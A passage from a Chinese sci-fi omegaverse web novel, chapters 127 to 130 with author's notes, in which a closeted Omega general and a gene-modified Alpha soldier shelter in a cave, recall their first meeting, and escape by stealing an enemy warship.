但持续的缺氧让闻铮的动作也越来越慢，逐渐支撑不住。 在失去意识的前一秒，他看到了一个银色的身影朝他游了过来。 …… 闻铮再睁开眼睛的时候，天已经黑了。 他在醒来的那一刻还有些迷茫，入眼是山洞坑坑洼洼的洞顶，鼻腔里是沙漠那种又干又燥的气息，一时之间有点不知身在何处。 直到噼里啪啦的声音传来，一个温和低沉的声音道：“您醒啦。” 闻铮将视线移过去，在看到裴简珩那张脸的一瞬间才恍然，记忆开始重新复苏。 他坐起来，下一秒发现身上的外套消失不见，自己身上只穿着一件背心。 裴简珩注意到他的动作，有些尴尬地摸了摸鼻尖：“您的外套湿得太厉害了，我就帮您脱下来先烤烤干……抱歉。” 闻铮瞥见了裴简珩手边架起了几块木头，上面搭着他和裴简珩的外套。 他嗯了一声，道了谢。 闻铮按响自己的通讯呼叫锐剑号，通讯却咝咝啦啦的听不真切，看来这里的通讯信号不太好。 他皱了皱眉，不知道救援队其他的成员有没有找到贺朝，又是否拿到了数据。 “您过来坐坐吧，这里会暖和一点。”裴简珩对他笑了一下，他笑起来的样子温柔又阳光，让闻铮很难想象他刚刚还被泡在实验装置绿不拉几的液体里。 闻铮也没推辞，他们两个现在能算得上是相依为命，德瓦基地的守卫不知道什么时候会追来，通讯受阻，他们只能依靠彼此了。 裴简珩眼看着他坐到了自己身边，被火堆热乎乎地烤着，甚至还不自觉地眯起了眼睛，好像一只看似矜傲但其实很好接近的小猫。 两个人就这样安静地坐着烤火，哪怕还面临着不知何时会跳出来的追兵，山洞里的气氛在这一瞬间却莫名的温馨和平静。 半晌，山洞外却突然哗哗地下起了暴雨。 沙漠里的暴雨总是分外的猛烈，这下他们短时间确实是哪里也去不了了。 借着雨声，闻铮率先开口：“要聊一下吗？联邦前锋突击卫为什么会到UNK-322上来？” 他对眼前这个Alpha除了名字以外一无所知，现在都已经到了要互相性命相托的地步了，还是了解一下比较安心。 裴简珩用手里的树枝扒拉了一下火堆，轻声道：“我们收到了一个线报，说在这里有踪迹诡异的德瓦哨兵出没。突击卫司令部综合情报将这个任务设定为B级，所以只派了我们三队来。” 他的喉头滚动了一下，方才道：“也许是情报有误，甚至也有可能是德瓦哨兵故意设的圈套，我们寡不敌众，都被抓到了实验基地里去。” 后面事情的发展，闻铮也大概能猜到了。 德瓦哨兵在秘密进行基因改造实验，在这个阶段需要激发人类Alpha最大的潜能，将其改造成战力翻天覆地的战士……但为什么？总不会是给联邦做嫁衣吧？ 闻铮问出了自己的疑问，裴简珩摇摇头：“具体的我不清楚，我的神志时有时无，只依稀听到了什么I，II，III期实验，希望贺朝手里的数据可以有更多的信息。” 闻铮侧脸看向他，轻声问：“痛吗？” 裴简珩凝视着他。 火光在这个漆黑幽暗的山洞里跳跃，将墨发雪肤的闻铮映衬得越发面如白玉，他中长的头发因为湿透而披散着，发丝凌乱地搭在脸侧，看上去有些脆弱，又有一种惊心动魄的艳丽。 裴简珩看着他的脸，注视着那双眼睛，慢慢地说：“……痛。” 闻铮心里某个地方倏地一酸。 他看得出来裴简珩很年轻，一个S级Alpha，有着在联邦数一数二的前程，如今却被迫成了明令禁止的基因改造人，甚至如果不是这次的救援行动，他很有可能会继续被泡在实验皿中，直到丧失神志，很大可能最后还要被利用对自己的国家和同类出手。 闻铮伸出手，轻轻拍了拍裴简珩的肩膀。 裴简珩垂眼敛去了眼底的思绪，轻声问：“那您呢？您应该在西翼战场指挥作战，怎么会出现在这里？” “德瓦哨兵元气大伤，西翼战场现在暂时休战，”闻铮道，“军部高层还在吵，到底是趁此加强攻势长驱直入，还是转部分兵力去支援东翼战场。这时候艾德莱斯上将找到了我，请我帮个忙。” 裴简珩顿住。 闻铮没注意到，继续说：“他说联邦收到了中立区和德瓦帝国边缘的求救信号，有可能潜藏着德瓦哨兵的阴谋，让我率领一支登陆救援队前来探查，锐剑号会进行后备支援。” 裴简珩叹了口气：“……抱歉。” 闻铮狐疑：“你抱歉什么？” 裴简珩挑了挑火星，没有接话。 沉默突然如同瘟疫一般在这个小山洞里迅速蔓延，洞外的暴雨越下越凶，似乎毫无停下的征兆，这让闻铮开始隐隐担心这么下去会不会引发山洪。 留给他们的时间并不多，锐剑号在大气层内保持隐身状态，但这并不是长久之计，如果被发现，事情会变得麻烦很多。 闻铮垂眸盘算，最好的办法，就是让锐剑号带着其他救援队和贺朝以及数据先走，至于他和裴简珩…… 蓦地，裴简珩的声音轻轻响起，带着一丝几不可闻的委屈：“您不记得我了，对吗？”—— 作者有话说：感谢珍白雪w、34402499、睡不醒醒的营养液！ 掉落相位刀模型x1！ 第127章 我们见过？ 闻铮一怔：“……我们见过？” 银发Alpha轻轻地“嗯”了一声。 闻上将努力地回想, 实在是没想起来，只能有些赧然：“抱歉，我实在是没什么印象了。” 裴简珩放下手里的树枝, 伸手把闻铮那件已经烤得暖乎乎的白衬衫递给他：“三年前, 西翼战场防线告急，东翼第二军团分出部分兵力前去支援。” ……原来是那次。 三年前, 闻铮刚刚当上第三军团的上将。 在德瓦帝国步步紧逼之下，西翼战场防线几近崩溃, 闻铮临危受命，带领悬空号和第三军团绝地反击。但在敌我兵力差距悬殊的情况下, 依然打得非常艰难。 第二军团和第三军团同属艾德莱斯五星上将手下，他立刻下令调转了第二军团部分兵力和战舰前来支援。 闻铮慢慢道：“……你在第二军团来支援的队伍中。” 裴简珩轻轻点头。 沉默。 三年前那次让闻铮一战成名的战役, 却是他一生如鲠在喉的痛。 西翼保卫战成就了“第三军团之刃”的荣誉, 却毁了闻铮。无论联邦对他授予了多高的荣耀, 他就是无法放过自己。 少年的意气刚刚生出火苗, 就被鲜血扑灭了。 闻铮别开了眼：“你参与了西翼保卫战。” 裴简珩又点头。 他轻轻叹了口气：“我没能在西翼保卫战中有幸见到您, 是在保卫战结束后的表彰仪式上和您遇见的。” 临时授勋仪式？ 好像是有这么个事，闻铮恍然, 联邦为了能鼓舞士气，每次大型战役结束后都会召开临时表彰仪式, 对表现突出以及做出重大贡献的将士进行表彰和提拔，同时也会对牺牲的战士进行抚恤和追封。 西翼保卫战也一样。 但闻铮，他怎么可能心安理得地接受这些荣誉，午夜梦回，他都无法忘记那满屏幕艾尼默人绝望无助的脸，这些表彰只会一次次成为打向他的耳光。 所以他逃了。 闻铮没和任何人打招呼，他灌了自己不少酒, 失魂落魄地提前从表彰仪式上离开，那里的氛围让他无法呼吸，好像那些艾尼默人的死亡只是连带伤害，除了他这个罪魁祸首以外，没人记得。 他走到了星舰军部总部园区的花园里，大脑放空，漫无目的，也不知道走到了哪个犄角旮旯，却突然发现了另一个人影。 而那人听到了他的脚步声，也转了过来—— 闻铮愕然，猛地抬眼向火堆旁的裴简珩看去，失声：“——是你！” 三年前表彰仪式那晚，在军部花园角落里的那个Alpha，正是眼前的裴简珩！ 见他终于想起来了，裴简珩弯了弯双眼，低声道：“是我。” …… 三年前 “你不在里面参加宴会，在这里做什么？” 喝了酒，闻铮的脑子转得有点慢，他居高临下地看着坐在回廊上的Alpha，不着边际地想，他这个光泽的银色头发好少见，很漂亮。 裴简珩转头，先是看见了闻铮的肩章，连忙想站起来敬礼，然后又看到了闻铮的脸。 他对这张脸不陌生，毕竟从前几年开始，家里就有一个人总絮絮叨叨地说手底下有个新人Alpha多么厉害，形象好气质佳，又是数一数二的聪明人，虽然没上过星舰军校，但大局观和谋略堪称一流，身手也好，简直是最理想的舰长楷模。 而真正把赞誉和这张脸对上号，是在那一场刚结束的西翼保卫战。 裴简珩收回思绪，一边敬礼，一边轻声道：“……闻上将。” 似乎这三个字却哪里刺痛了闻铮一般，他怔了一下，摆摆手示意他不用敬礼，也不用起身，反而径直坐到了他的身边，重复了一遍：“为什么不在里面参加宴会？” 裴简珩顿了一下：“请求自由发言，长官。” 自由发言的意思是抛去军衔和职务，以一种平等的态度进行对话，哪怕话语间冒犯了长官，上级也不能进行惩戒。 闻铮颔首。 二十岁的裴简珩深吸了一口气，有些厌恶地睨了宴会厅的方向一眼：“我们在战争中，所有人正在流血，牺牲，失去，死亡，我不明白为什么还要花费珍贵的资源沉浸在这些虚幻的东西上。” 闻铮看向他年轻又有几分不平之气的脸，笑了一下：“一味的痛苦和哀悼会让所有人失去斗气，适当的精神麻痹和提振也是必要的。” 裴简珩转向他，一针见血地指出了他的言行不一：“那为什么您不在里面？” 闻铮沉默。 半晌，他才苦笑：“你赢了，我确实回答不上来。” 两个人坐在花园的回廊上，一时之间都没有说话。夜间的凉风徐徐吹来，让闻铮打了个喷嚏。 裴简珩稍微挪了下身体，替他挡住了一点风。 闻铮注意到了，心里有点好笑，这人这么年轻，倒是还挺细心。他又瞥到了裴简珩的肩章，是上尉。 一只毛茸茸的小团子从他们脚底跑过去，也就指甲大小，是一只托佛毛团，无害，还有一点可爱，但由于太小了，基本上所有人都会把它一脚踹开，甚至在看见之前就已经把它踩死了。 而裴简珩注意到这位威名在外的年轻上将，特意挪开了脚，给这只托佛毛团清开了道路，还在它爬不上台阶的时候，顺手把它拎起来放在了台阶上。 托佛毛团毛绒绒地滚开了。 裴简珩看到闻铮的唇角有一丝浅笑。 “您……和传闻中不太一样，”裴简珩说，“很少有人会对一只托佛毛团如此耐心温柔。” “这句话说得有些傲慢了。”闻铮道，“人类不是这片宇宙的主宰，我们只是和其他物种、其他文明、其他生命一起分享这个世界。人类也许在目前的阶段里占据上风，但不代表我们有否认和毁灭其他生命的权力。” 他垂下了眼睫，浓密的睫毛在他苍白的脸上投下了几分阴影：“也许对托佛毛团来说，我们也是另一个德瓦帝国。” 闻铮并没有意识到，他这番话对一个刚进入战场没多久的年轻人来说有多么震撼，他只是轻描淡写地转移了话题。 “抱歉让你涉足了西翼战场，西翼保卫战很难打，不知道东翼那边会不会好一些。” “都很难。”裴简珩神志还有些恍惚，听到他的这个话题，忍不住眼神一暗，“只是我没想到来到西翼的第一战，就让人这么……” 他似乎说不下去了，伸手叉进了自己银灰色的头发里，哪怕是当着一个上将的面，也有些控制不住自己的情绪。 闻铮没有打断他，他知道这个年轻的Alpha还会说下去，果然，过了半分钟，他轻轻地吐出了几个字。 “……迷茫。” 是的，迷茫。 闻铮心里轻轻一动，他和眼前这个人素不相识，甚至连名字都不知道，但他们却奇异又巧合地正在经历同样的感受。 “大部分时间，我知道我在为了捍卫联邦而战，但有些时候，”裴简珩垂眼看着自己的双手，“……我不知道我在做什么。” “那些被我杀掉的、无辜的生命，我不知道要怎么对他们负责。” 闻铮几不可闻地叹了口气。 知道不止是自己一个人还记得那些生命，这让他确实感到了几分宽慰。 “上尉。” 突如其来的军衔称呼让裴简珩下意识地肌肉紧绷，直起了腰背。 闻铮偏头看着他：“你是上尉，你只是服从命令。你不需要去考虑这些责任与否，你只需要记得，你站在联邦的最前线，你保护了身后无数个同胞，这就够了。” 裴简珩一怔。 他知道眼前这位闻上将在安慰他，但…… 他喃喃问道：“那死在我手里那些无辜的生命呢？” 闻铮似乎被刺痛了一般转回脸，随后站起来拍了拍裴简珩的右肩。 月光冷冷地打下来，合着室外回廊上的灯光，让这位第三军团上将那张漂亮的脸越发惨白，而唯一的颜色竟然是嘴唇上被他自己咬出来的血，红的刺眼。 “别为难你自己，上尉。” “我才是那个下达命令的人。” “那些死去的生命，不是你们的责任。” “……是我的。” 裴简珩愣住了，闻铮最后的那几句话太锋利了，锋利到像一把最高档位的相位刀，刀柄对着其他人，而刀尖却直直地对准他自己，朝那一颗心毫不留情地捅进去。 而在闻铮转过脸去的前一瞬，裴简珩发誓，他看到了一滴眼泪。 不知为何，他明明注视着那滴泪从闻铮的脸颊滑落，进而湮没在他的衣领上，他的心却在这个瞬间忽然一沉。 为什么会沉，他不知道。 沉到了哪里，他也不知道。 凝视着闻铮离去的背影，裴简珩把手放在了刚才闻铮碰过的右肩，那里似乎还残留着他的余温。 …… 闻铮想起来了三年前那个晚上，他们只在回廊里坐了十几分钟，聊了十几句话，仅此而已。 他甚至早就忘了。 思及此，闻铮更是多了几分内疚。 裴简珩看出来他的想法，却不以为意地摆摆手。 他知道闻铮不会记得他，他那时只是一个少尉，联邦军部的少尉数不胜数，闻铮怎么可能记得他。 ……但这次不一样。 裴简珩扫过正在扣衬衫纽扣的闻铮，弯了弯湛蓝色的眼睛。 如果他们还能活着出去，闻铮这次一定会牢牢地记住他的—— 作者有话说：感谢白一盒的地雷x1！掉落闻哥同款纽扣x1！ 感谢珍白雪、34402499的营养液！掉落托佛毛团x1！ 第128章 裴简珩，转过来 “……呲呲……闻上……呲……能听到……呲呲……吗……” 通讯突然传来断断续续的声音, 闻铮和裴简珩的呼吸都是一窒！ 闻铮立刻接通通讯：“能听到！” 那边的声音还是断断续续，但闻铮能大概听明白，登陆救援队的其他人已经顺着坐标摸到了贺朝和其他艾尼默人躲藏的位置, 正在陆续把他们相位穿梭到锐剑号上。 闻铮和裴简珩对视一眼, 都松了口气。 “我把我们的坐标发给你，”闻铮操作着悬浮屏, “我们在一个山洞里，这里可以进行相位穿梭。” 坐标虽然已经成功发送了, 但通讯那边却传来了焦急的声音：“闻上将！德瓦实验基地扩大了防护罩范围，你们现在的坐标在防护罩内, 我们没办法把你们相位穿梭出来！” 闻铮神色一凛，他打开通讯自带的检测仪, 看到UNK-322北区的信号正在被分割, 一边很强, 另一边弱到几乎没有, 他们二人此刻就在信号极弱的地方。 就连通讯对话都这么磕磕绊绊, 怎么可能进行相位穿梭！穿梭到一半因为信号不稳定很容易发生量子事故，那倒是真给德瓦人省事了。 闻铮看着防护罩分割线范围越来越大, 也越来越逼近那些登陆救援队队员的位置，按照这个速度, 再有一分钟，他们也走不了了！ 闻铮当机立断：“你们先走！” 那边救援队员的声音更急：“闻上将！您怎么——” 闻铮的声音很冷静：“你们先回到锐剑号，我会再和裴中校想办法的。” “我们如果走了，您就完全孤立无援了！还能有什么——” “有可能的话，还请先赶到魁斗星中立区，我们会尽力也赶到那里。” 裴简珩的声音响起，打断了救援队成员的话, 让他和闻铮都是一愣。 闻铮把目光转向他：“魁斗星？” 裴简珩对他露齿一笑：“闻上将，我们去抢一艘德瓦战舰开一开，怎么样？” …… 抢德瓦战舰确实很吸引人，但外面的暴雨下得太大，闻铮和裴简珩也没办法在此刻行动。 所以他们只能在这个昏暗的小山洞里守着火堆，等。 刚刚发生的事情太多了，让闻铮无暇顾及，而现在不管是下一步讨论还是往昔追忆环节都结束了，他才发现哪里不对。 ——他的人工Alpha信息素已经减退到几不可闻了。 闻铮神色一冷，他摸遍了全身，备用的Alpha信息素针剂不在身上！ 那难道在…… 他把目光移向了还在被烤的外遣军装外套上，在飞快地思考如何顺理成章地把外套拿回来，再在裴简珩眼皮子底下给自己胳膊注射一剂人工信息素。 “……咳咳。”闻铮核心发力，假咳了一声，“有点冷，裴中校，麻烦把外套给我。” ……好烂的借口。 就算是下雨，UNK-322也是一颗荒漠星，地表温度也得有30度，到底哪里冷。 不过，如果裴简珩质疑，闻铮也已经想好了回应的话术——昼夜温差大，现在天都黑了，马上就降温。更别说刚刚在水里泡着，现在他身上还有点湿呢。 但裴简珩什么都没问，他只是直起身扒拉了两下那两件外套，然后把他刚刚穿着的那件德瓦人的外套递给了闻铮。 闻铮：“……？” 裴简珩面色没有任何异样：“您那件外套比较厚，还没干，先披一会儿这件吧。” 闻铮：“……” 他干巴巴地说：“谢谢，你还真贴心。” 贴心那两个字倒是说的有些咬牙切齿。 他硬着头皮披上那件暖烘烘的外套，鼻腔内立马涌入了铺天盖地的檀木香气！ ……是裴简珩的Alpha信息素。 这件衣服被裴简珩穿了那么久，他身上四倍的S级Alpha的机能和信息素极度强横，在外套上牢牢地烙下了他独特的檀木香，披上这件衣服的下一秒，闻铮的大脑一阵轰鸣，后颈的残缺腺体立马发烫起来！ 他这才反应过来，反手去摸后颈，那里原本贴着的腺体贴早就掉落了！ ……糟了！那他刚刚昏迷，裴简珩帮他脱衣服的时候岂不是—— 电光火石之间，闻铮抬眼，眼神凌厉地横向了裴简珩！ 而这位基因改造战士，迎着闻铮如刀般的眼神，沉默地拿出了一根针剂。 闻铮认得，那是他的人工Alpha信息素伪装剂。 ……他知道了。 ……他一早就知道，还装作若无其事地和自己聊了这么半天。 闻铮的脸色此刻难看得要命。 裴简珩轻声道：“抱歉，我不是故意的。” 后颈掉落的腺体伪装贴，残缺不全的腺体，若有若无的Omega信息素，还有从外套里掉出来的这支人工Alpha信息素针剂。 真相和事实昭然若揭，这不是巧合，裴简珩也不是蠢货。 在这个昏暗的山洞里，两个人隔着火堆，彼此都对这个不再是秘密的秘密，心知肚明。 …… “……你要什么？” 闻铮的声音很冷。 他看清了现在的局势，虽然只有他们两个人，但他打不过这个四倍S+基因战士Alpha，单论近战，没人打得过。 况且，就算能打得过，难道闻铮真的能杀了他吗？ 裴简珩作为一个上过这么多次战场的年轻战士，为联邦浴血在第一线，也在自己手底下在最两难的战役中存活下来。 他们曾经在光芒万丈的阴影角落互相试探过伤口，也并肩杀出了德瓦哨兵的重重包围，如今在这个昏暗的山洞里相依为命，寻找一线生机。 而在中枢室的时候，裴简珩为了他甘愿留下，在闻铮自己都没有多大把握的时候全心地信任他，在湖泊之中窒息的时候又奋力救了他。 闻铮看人很准，他知道抛开一切外部的因素不看，裴简珩……是个很好的人。 难道他能为了保守自己的秘密，就杀了这样的一个人吗？ 所以闻铮，他在秘密被发现的这一刻，也只能嘴唇轻颤，看似冰冷实则别无他法地问出一句——你要什么？ 他还能给什么才能换取这个秘密的尘封？ 裴简珩在他的目光里，倾身朝闻铮靠近。 下意识地，闻铮往后躲闪，直到他的后背贴在了洞壁上，前方是裴简珩高大的身影，后面是坚硬的石壁，闻铮躲无可躲，避无可避。 这个超S级的Alpha带着他那让人无法抵抗的信息素压过来，让闻铮咬紧了牙关。 如果他胆敢—— 直到自己紧紧握着的右手被轻轻地打开，那支针剂被塞还进他的手里。 在怔愣之下，闻铮看到裴简珩那双湛蓝色的眼睛一眨不眨地凝视着他的脸，低声呢喃：“……我希望能留在您身边，除此以外，我什么都不要。” 闻铮双唇微张，大脑一片空白，一时之间一句话都说不出来。 裴简珩很快后撤了身体，好像刚刚的一切都没有发生过。 闻铮急急喘了几口气，才从被信息素压制的状态下缓过来。他低头看了一眼手里的针剂，心里五味杂陈。 “抱歉。”裴简珩礼貌地转了过去背对他，低声道，“我还不知道怎么控制这四倍的信息素，也许是我刺激到您了。” 闻铮默不作声，把那管人工Alpha信息素推进了自己的静脉里。 但更麻烦的事情，是身体内的信息素开始暴躁不安了。 多年前，为了更好地隐藏身份不被发现，闻铮狠心地挖掉了自己的腺体。即使还有部分残留，但也免去了他遭受发|情|期和信息素的影响，这么多年来，没出过任何问题。 所以他只需要人工Alpha信息素伪装一下就可以，连抑制剂都不需要。 但……可能就像裴简珩说的，他这个还不能好好控制的四倍Alpha信息素，还是对闻铮残缺的腺体产生了影响。 闻铮注视着裴简珩的背影，想到了他刚刚的话，还是有些恍惚。 什么叫“我希望能留在您身边，除此以外，我什么都不要”？ 闻铮不傻，他虽然没有任何感情经验，但不代表他听不出来这句话中暧昧的弦外之音。 这个年轻的Alpha，对他有欲｜望。 也许裴简珩现在确实是这么想的，但未来的某一天，可能他突然就不这么想了。 轻飘飘的承诺是最没用的东西，闻铮早已经过了轻信他人的年纪。 他需要更多的筹码。 所以他做出了一个决定。 “裴简珩，转过来。” 裴简珩身形一僵。 闻铮见他没动，重复了一遍：“转过来，看着我。” Alpha顺从地转了过来，下一秒，他直接愣住，红晕从他的脸蔓延到耳根，继而又蔓延到脖颈。 无他，眼前的闻铮，正一粒一粒地解开那件白衬衫的扣子，也许是因为赧然，很大可能是因为羞愤，总之那张瘦削苍白的脸上也泛起了几分红潮，在墨发黑瞳的映衬下，在橙红色火苗的跳跃中，越发的诡谲艳丽。 闻铮抬眼看他，声音沙哑：“裴简珩，我们来做个交易。”—— 作者有话说：[星星眼][星星眼][星星眼] 第129章 临时标记 裴简珩, 23岁，S级Alpha，现任联邦前锋突击卫3队中校, 刚被德瓦人改造成新鲜出炉的基因战士。 现在正面色赤红地呆呆站着, 说话都结巴：“交、交、交易？” 站在他对面的，是他自三年前就时常魂牵梦萦的人。 墨发雪肤的年长Omega正一粒一粒解开自己白衬衫的扣子, 抬眼看向他，声音沙哑：“对, 交易。” 扣子只剩下最后两三粒，衬衫松松垮垮地挂在身上, 闻铮踏前一步，贴近了裴简珩：“我们睡一次, 你替我继续保守秘密, 我们都把这件事忘记, 以后也不必再见面。” 出乎闻铮意料, 他原以为这种Omega的“献身”对于Alpha、尤其是S级Alpha来说并不罕见, 却没想到眼前这位裴简珩，在听到这句话以后, 却仿佛被一盆冰水兜头淋下，连刚刚脸上的红晕都瞬间褪去。 闻铮的手刚刚搭在裴简珩的肩膀上, 看到他这个反应，不禁犹豫了一秒。 他这是什么意思？ 闻铮感受到裴简珩的目光落在他身上，半晌轻轻地叹了口气。 那声叹息让闻铮僵住，他有些难堪地收回了手，下一秒却被裴简珩牢牢地攥住了手腕。 裴简珩低声道：“……我不是这个意思。” 不是、这个、意思。 闻铮顺着他的目光，垂眼看到了自己胸膛上隐隐露出的伤疤，好像明白了什么。 他是联邦最年轻有为的上将, 他能把一群Alpha和德瓦哨兵按在地上打，他的战略思维、他的上位魅力……这些都是闻铮知道的。 但同样，他也知道自己不是被精心养着的那种年轻貌美、白皙莹润的Omega，他瘦削阴鸷，皮肤粗糙，浑身上下都是零零散散的伤疤。这个一看家教和家庭背景就很好的S级Alpha，为什么一定要接受这个交易呢？ 闻铮的头发还是微湿的，搭在了脸颊两边，这让他在篝火摇曳下有一种动人心魄的美，只是他自己看不到。 裴简珩凝视着他的脸，看到了他眼底藏着的羞愤，还有更深处几不可见的惊惶和不安。 他重复道：“……我不是这个意思，我很尊重您。” 裴简珩伸手把那件白衬衫给闻铮穿好，又把被他自己解开的扣子又一粒一粒地扣回去，低声说：“也许您已经不记得我了，也许您不相信，但我真的很尊重您，也很……” 他深吸了一口气，声音有些颤抖：“……仰慕您。” 仰……慕…… 闻铮怔在当场，一时之间还以为自己听错了。 “我早就听闻了您很多的传奇，也一直向往着能与您共事。”裴简珩对他弯起双眼，“战争和死亡让我迷茫，是您那天晚上给我指明了方向，让我很想离您近一些，再近一些。” “我只是仰慕您这个人，至于您是Alpha还是Omega，对我来说都不重要。” 裴简珩犹豫了一下，还是伸出手温柔地把闻铮的碎发掖到耳后：“我想日后还能与您再见，能站在您身边。” 他松开了闻铮的手腕，笑了笑：“……请允许我拒绝您的交易提议。” “但请您放心，我一定会为您保守这个秘密。”裴简珩摇了摇头，“但好像除了发一些毒誓，我也没有其他的办法让您相信——” “……够了。” 闻铮打断了他的话，声音比平时更加沙哑。 他能看出来，这个年轻的Alpha，说出的每一个字都是发自内心，完全不似作伪。 真诚、善良、温柔、宽容…… 他是闻铮二十多年来，见到最近乎完美的一个人。 承诺和誓言都是最虚无的东西，只有人性本质，才最值得相信。 闻铮收回手，扯了扯唇角：“……把刚刚的事情忘了。” Alpha的衣服穿了太久，他早已经忘记Omega是什么样子。 而他人生中第一次试图用Omega的身份去得到些什么，还被拒绝了。 ……够丢人的。 裴简珩眨了眨眼睛：“刚才怎么了？” 蛮上道的。 不过…… 闻铮身体里Omega信息素的燥热并没有就此平息，但幸好话都已经说开，所以闻铮也就直接地问：“你介意给我一个临时标记吗？” 裴简珩瞪大了眼睛：“……啊？” 闻铮别开了脸：“别让我再问第二遍。” 裴简珩心里雀跃起来，但还是小心翼翼地先确认：“可以是可以，但这个……不算交易吧，我们以后，还是可以再见的对吗？” 闻铮：“……” 他笑出声了。 眼前这个银色头发的年轻Alpha，怎么在这个瞬间这么像一只毛发松软的大狗啊。 看到闻铮的反应，裴简珩也放下心来。 他有些犹豫地走近了闻铮，轻轻垂首，目光锁定了闻铮后颈那块紫黑色的平坦疤痕。 “我不确定临时标记能不能生效，”闻铮说，“这个腺体应该已经不存在了，试试看吧。” 裴简珩嗯了一声，其实也没把这句话听进去，因为他嗅到了——嗅到了闻铮颈窝里，那股从腺体散发出的，淡淡的冷空气的味道。 他先是轻轻地用柔软的嘴唇碰了一下，感受到闻铮敏|感地轻颤后，才呼吸有些急促地叼了上去，刺破了那一小块疤痕。 随着大量檀木香的刺入，后颈那一小块皮肤竟然传来了巨大的酥|麻和刺激，这种陌生的感受让闻铮甚至站立不住，后腰一软，幸亏被裴简珩立马拦腰搂住。 临时标记居然生效了。 体内的Omega信息素终于得到喂养而满意地蛰伏下去，闻铮也轻轻吁出了一口气。 裴简珩喘息了几下，随后似乎难以自控地又吻了吻闻铮的颈窝，低声问：“有不舒服吗？” 闻铮摇了摇头。 在这个瞬间，在这个裴简珩埋首在他颈窝的瞬间，他突然察觉到，好像那层冰封在一颗心外面的壳正在悄然融化。 所以这颗心能跳一下，再跳一下。 …… 暴雨看上去还没有停歇，闻铮的通讯显示还要五六个小时，也不知道到底准不准。 ……不准也没办法，毕竟这是他们现在唯一一个高科技产品了。 裴简珩极力要求闻铮去小睡一会儿，一会儿暴雨停了以后还有的是仗要打，保存体力要紧。 闻铮反复和他确认，裴简珩无奈地表示按照他现在这个四倍机能，这点强度根本不累。 于是闻铮也没有再推辞，趴在火堆旁迷迷糊糊地睡着了。 裴简珩坐在他旁边，小心翼翼地把他的头放在自己腿上，让他能睡得舒服一点。 接着火光，他温柔地注视着闻铮的脸。 好坚韧又好漂亮，那种不屈的生命力赋予了这张脸无与伦比的魅力。 他伸手隔空描摹过那张脸的轮廓，又想起了他在痛苦和绝望中，睁开眼看到救赎的一瞬间。 裴简珩忍了又忍，最后还是轻轻地在闻铮额头上落下一个吻，还要心惊胆战地怕把他惊醒。 发现闻铮只是动了动，还在睡梦中，才放下心来。 他那树枝扒拉了两下火苗，让火焰离闻铮远一点，以免灼伤。 在德瓦实验基地的这些天，他每一天都想死，不只是因为痛苦，更是因为他已经成为了一个被联邦明令禁止的基因改造怪物。 还有什么要活下去的必要？ 而现在，他感受着闻铮枕在他腿上起伏的呼吸，心里想着，他要活下去，他得活下去。 他要和闻铮一起活着从这里离开，然后死皮赖脸地，一辈子都留在他身边。 …… 五六个小时后，暴雨居然真的停了。 裴简珩和闻铮把衣服都穿好，准备出发。 闻铮打开监测仪看了一下周围的环境，有可能是怕暴雨引发其他的灾害，德瓦基地士兵没有往这边来。 他一边看着地图，一边若有所思：“你打算去哪里抢德瓦战舰？” 裴简珩狡黠一笑：“跟我来。” 闻铮倒是没有质疑他，只是抛出了另一个问题：“就算我们能抢到这艘战舰，你打算怎么飞起来？我们没有激活德瓦战舰配备的人工智能中控的权限，这艘船飞不了。” 裴简珩说：“所以我们不激活它的人工智能中控系统。” 闻铮的动作一顿：“你要全舰手动驾驶？！” 这对于舵手的要求太高了！哪怕是已经掌舵几十年的成熟舵手也不敢拍胸脯保证一定能100%手动驾驶！ 况且。 闻铮眯眼：“我不会开星舰。” “没关系，”裴简珩眼底有几分笑意，“我是星舰军校指挥学院毕业的，舵手专业。” 闻铮：“……” 这他倒是没想到，天无绝人之路啊。 “不过你既然是指挥学院毕业的，为什么没加入星际舰队？”闻铮有些疑惑，“我对联邦前锋突击卫没有意见，只是从你的背景来看，星际舰队更对口吧。” 而且S级Alpha，背景又不错，还是指挥学院舵手专业，基本上毕业以后进入星际舰队就是一路青云直上了，运气好的话，二十年内就能当上大副了。 “我还没有毕业，想先参军的话只能加入前锋突击卫。”裴简珩解释，“真正毕业之后会转去星际舰队。” 闻铮却在这句话里抓到了重点：“你……还没、毕、业？” 那你就要手动去开德瓦战舰？？？？ 裴简珩无辜地回望：“您还有别的办法吗？” 闻铮：“……” 确实没有。 他无言：“……随你吧，我看你最后是要把我们开进海里去。” 裴简珩笑：“我会尽量在陆地上着陆的。”—— 作者有话说：下章回忆杀结束！ 感谢珍白雪w、苏怿清、34402499的营养液！ 掉落闻哥同款纽扣x1！ 第130章 第三次宣战 后面发生的事情很惊险, 他们两个对抗一整个德瓦实验基地守卫，一会儿打游击战，一会儿打交锋战, 也多多少少挂了彩, 所幸都还是全须全尾地夺下了一艘德瓦前行舰。 裴简珩如他所说，硬是启动了手动驾驶, 带着闻铮从德瓦基地腾空而起。 他那边专心致志地执飞掌舵，闻铮在这边负责了防御和武器。 在他们离开大气层之前, 闻铮把这艘德瓦前行舰上80%的武器都对准这个实验基地打了出去！ 德瓦基地的防护罩之前就已经收到了锐剑号的重创，现在更是直接被打破, 整个基地转瞬之间火光四起！ 而就在这些爆炸、炮火、坍塌和断壁残垣之中，一艘星舰穿破硝烟, 一飞冲天！ 在脱离UNK-322的大气牵引之后, 闻铮和裴简珩都松了口气。 两个人并肩坐在舰桥最前方, 看着逐渐远去的荒漠星球, 相视一笑。 两颗心脏在这一刻, 都跳得漏了那么一拍。 只是事情不会如此简单，他们当时没有切断德瓦基地和外部的通讯, 这里已经是德瓦边境了，在附近星系驻守的德瓦哨兵立刻赶来进行追捕, 在只有手动驾驶的情况下，他们的逃跑着实称得上是艰难又狼狈。 裴简珩咬着牙，顶着火力冲进了魁斗星中立区的范围，虽然距离他们和锐剑号达成一致的坐标有偏差，但也只能寄希望于他们能及时赶到了。 ——因为德瓦哨兵意识到他们已经进入中立区，不能随意交火之后，就远程开启了这艘前行舰的德瓦人工智能中控, 命令其切断前行舰的生命维持系统。 裴简珩孤注一掷，把这艘前行舰开进了魁斗星那片深海里。 前行舰的一头扎进了魁斗海的深处，而赖以生存的空气正在被一点一点抽走。 闻铮没有四倍体能，他还没来得及在和裴简珩说些什么，就率先晕了过去。 而这也是他最后的记忆。 等他再醒来的时候，他已经回到了联邦高级军官的医疗舱里。医疗官告诉他，他在开会的时候突然晕倒，体检显示是劳累过度。 闻铮拒绝了进一步的深度体检，以免Omega身份暴露。 